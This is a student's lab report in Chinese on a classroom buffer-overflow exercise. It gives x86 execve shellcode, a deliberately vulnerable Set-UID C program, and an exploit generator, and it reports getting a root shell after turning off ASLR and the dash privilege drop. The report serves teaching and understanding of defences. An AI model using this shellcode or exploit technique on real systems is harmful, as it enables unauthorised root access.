20181312 2020-2021-1 《信息安全系统设计与实现（上）》缓冲区溢出漏洞实验

20181312 2020-2021-1 《信息安全系统设计与实现（上）》缓冲区溢出漏洞实验

课程： 《信息安全系统设计与实现（上）》

班级：1813

姓名：谢绎

学号：20181312

指导老师：娄嘉鹏

实验日期：2020年10月11日

一、实验内容

• 缓冲区溢出漏洞攻击
• 简介：缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、实验过程

1.实验准备

• 进入实验楼实验环境

• 实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

• 输入如下命令安装一些用于编译 32 位 C 程序的软件包：

• sudo apt-get update

  sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev

  sudo apt-get install -y python3.6-gdbm gdb

2.初始设置

• Ubuntu和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

• sudo sysctl -w kernel.randomize_va_space=0

• 此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

  linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

• sudo su

  cd /bin

  rm sh

  ln -s zsh sh

  exit

• 输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash：

• linux32

  /bin/bash

3.shellcode

• 一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。

• 本实验的shellcode是如下代码的汇编版本

• #include <stdio.h>
  int main()
  {
      char *name[2];
      name[0] = "/bin/sh";
      name[1] = NULL;
      execve(name[0], name, NULL);
  }
  

• 即\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

4.构造漏洞程序

• 在 /tmp 目录下新建一个 stack.c 文件：

• /* stack.c */
  
  /* This program has a buffer overflow vulnerability. */
  /* Our task is to exploit this vulnerability */
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>
  
  int bof(char *str)
  {
      char buffer[12];
  
      /* The following statement has a buffer overflow problem */ 
      strcpy(buffer, str);
  
      return 1;
  }
  
  int main(int argc, char **argv)
  {
      char str[517];
      FILE *badfile;
  
      badfile = fopen("badfile", "r");
      fread(str, sizeof(char), 517, badfile);
      bof(str);
  
      printf("Returned Properly\n");
      return 1;
  }
  

• 编译该程序，并设置SET-UID。命令如下：

• sudo su

  gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

  chmod u+s stack

  exit

• 由于GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

5.构造攻击程序

• 在 /tmp 目录下新建一个 exploit.c 文件

• /* exploit.c */
  /* A program that creates a file containing code for launching shell*/
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>
  
  char shellcode[] =
      "\x31\xc0" //xorl %eax,%eax
      "\x50"     //pushl %eax
      "\x68""//sh" //pushl $0x68732f2f
      "\x68""/bin"     //pushl $0x6e69622f
      "\x89\xe3" //movl %esp,%ebx
      "\x50"     //pushl %eax
      "\x53"     //pushl %ebx
      "\x89\xe1" //movl %esp,%ecx
      "\x99"     //cdq
      "\xb0\x0b" //movb $0x0b,%al
      "\xcd\x80" //int $0x80
      ;
  
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
  
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&buffer, 0x90, 517);
  
      /* You need to fill the buffer with appropriate contents here */
      strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
      strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100
  
      /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }
  

• 注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。

• 现在要得到 shellcode 在内存中的地址，输入命令进入gdb调试：

• gdb stack

  disass main

• $esp中就是str的起始地址，所以要在地址 0x080484ee 处设置断点。

• b *0x080484ee

  r

  i r $esp

• 根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014，现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，随后编译 exploit.c 程序：

• gcc -m32 -o exploit exploit.c

• 最后运行

• ./exploit

  ./stack

  在#后输入whoami

• 可以看到显示root，这表示获取root权限成功

三、附加内容

1.通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。

• 回退到主目录下输入：

• sudo sysctl -w kernel.randomize_va_space=2

  打开系统的地址空间随机化机制

• 这时我们使用gdb调试stack.c，可以看到

• 如同之前一样设置断点运行查看buffer的地址，然后做0xff9fff50 + 0x64 = 0xff9fffb4，得到shellcode的地址，进而修改exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \xb4\xff\x9f\xff，随后编译并运行 exploit.c 程序，可以看到报错：

2.将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。

• 回退到主目录下输入：

• sudo su

  cd /bin

  rm sh

  ln -s bash sh

  exit

• 输入命令 linux32 进入32位 linux环境。不必输入 /bin/bash 即可使用bash，这时我们仍然使用gdb调试stack.c，使用之前同样的步骤可以看到

• 得到shellcode的地址为0xffddf040 + 0x64 = 0xffddf0a4，同样修改exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \xa4\xf0\xdd\xff，随后编译并运行 exploit.c 程序，可以看到报错：

四、代码链接

码云链接

五、实验心得体会

通过本次实验，我初步理解了缓冲区溢出漏洞的攻击原理：

• 如果溢出的缓冲区内容覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，而如果该地址存放的是一段精心设计的代码用于实现其他功能，则会产生缓冲区溢出攻击。

也了解到了系统和编译器为了防止缓冲区溢出漏洞产生做出了哪些保险措施：

• 使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难。
• 为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权，即使能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限。
• GCC编译器有一种栈保护机制来阻止缓冲区溢出